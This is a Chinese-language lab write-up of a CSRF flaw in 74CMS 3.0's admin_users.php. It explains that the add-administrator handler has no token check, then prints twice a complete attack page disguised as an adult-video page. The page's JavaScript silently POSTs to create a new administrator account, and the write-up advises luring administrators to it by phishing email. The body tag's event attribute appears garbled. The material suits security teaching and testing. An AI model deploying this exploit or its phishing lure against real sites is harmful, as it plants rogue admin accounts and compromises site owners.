74CMS 3.0 CSRF漏洞
一、 启动环境
1.双击运行桌面phpstudy.exe软件
2.点击启动按钮,启动服务器环境
二、代码审计
1.双击启动桌面Seay源代码审计系统软件
2.因为74CMS3.0源代码编辑使用GBK编辑,所以首先需要先将编码改成GBK
3.点击新建项目按钮,弹出对画框中选择(C:\phpStudy\WWW\74cms),点击确定
漏洞分析
1.点击展开左侧admin目录,在弹出的下拉列表中双击admin_users.php页面,右侧页面可以看到相关代码。
elseif($act == 'add_users_save')
{
if ($_SESSION['admin_purview']<>"all")adminmsg("权限不足!",1);
$setsqlarr['admin_name']=trim($_POST['admin_name'])?trim($_POST['admin_name']):adminmsg('请填写用户名!',1);
if (get_admin_one($setsqlarr['admin_name']))adminmsg('用户名已经存在!',1);
$setsqlarr['email']=trim($_POST['email'])?trim($_POST['email']):adminmsg('请填写email!',1);
if (!preg_match("/^[\w\-\.]+@[\w\-\.]+(\.\w+)+$/",$setsqlarr['email']))adminmsg('email格式错误!',1);
$password=trim($_POST['password'])?trim($_POST['password']):adminmsg('请填写密码',1);
if (strlen($password)<6)adminmsg('密码不能少于6位!',1);
if ($password<>trim($_POST['password1']))adminmsg('两次输入的密码不相同!',1);
$setsqlarr['rank']=trim($_POST['rank'])?trim($_POST['rank']):adminmsg('请填写头衔',1);
$setsqlarr['add_time']=time();
$setsqlarr['last_login_time']=0;
$setsqlarr['last_login_ip']="从未";
$setsqlarr['pwd_hash']=randstr();
$setsqlarr['pwd']=md5($password.$setsqlarr['pwd_hash']);
if (inserttable(table('admin'),$setsqlarr))
{
$link[0]['text'] = "返回列表";
$link[0]['href'] ="?act=";
adminmsg('添加成功!',2,$link);
}
else
{
adminmsg('添加失败',1);
}
}
其中当获取的act参数为add_users_save时,执行添加管理员操作。代码段第一行首先检查当前用户是否权限添加,如果没有权限则直接终止掉下面紧接着进入添加管理员操作,最后将setsqlarr数组执行inserttable操作,将管理员插入数据库。中间并没有检查用户来源操作,如:Token、验证码等。
漏洞利用
1.首先需要构造一个攻击页面,由于添加用户需要POST发送数据,所以不能通过简单执行GET请求,需要在攻击页面执行Ajax请求,异步发送数据。
2.攻击JavaScript代码
<script>
function add() {
var xmlhttp = new XMLHttpRequest();
var xmldata = 'admin_name=zhangsan3&email=5454695%40qq.com&password=123456&password1=123456&rank=1qi&submit3=%CC%ED%BC%D3';
xmlhttp.open('POST','http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/admin/admin_users.php?act=add_users_save',true);
xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp.withCredentials='true'; //跨域请求是否提供凭证
xmlhttp.send(xmldata);
}
</script>
HTML展现页面
<body "add()">
<img src="3333.gif">
<!-- <video width="544" height="960" controls>-->
<!-- <source src="3333.gif" type="video/mp4">-->
<!-- 您的浏览器不支持 HTML5 video 标签-->
<!-- </video>-->
</body>
3.诱导管理员访问该页面可以使用钓鱼邮件,网站发送建议等。
访问以后用户看到就是普通一段视频,但是Ajax已经异步把数据提交到后台。
登录后台发现,已经成功添加zhangsan这个用户
完整代码
CSRF.php
<html>
<head>
<meta charset="utf-8">
<title>欢迎看片</title>
<script>
function add() {
var xmlhttp = new XMLHttpRequest();
var xmldata = 'admin_name=zhangsan3&email=5454695%40qq.com&password=123456&password1=123456&rank=1qi&submit3=%CC%ED%BC%D3';
xmlhttp.open('POST','http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/admin/admin_users.php?act=add_users_save',true);
xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp.withCredentials='true'; //跨域请求是否提供凭证
xmlhttp.send(xmldata);
}
</script>
</head>
<body "add()">
<img src="3333.gif">
<!-- <video width="544" height="960" controls>-->
<!-- <source src="3333.gif" type="video/mp4">-->
<!-- 您的浏览器不支持 HTML5 video 标签-->
<!-- </video>-->
</body>
</html>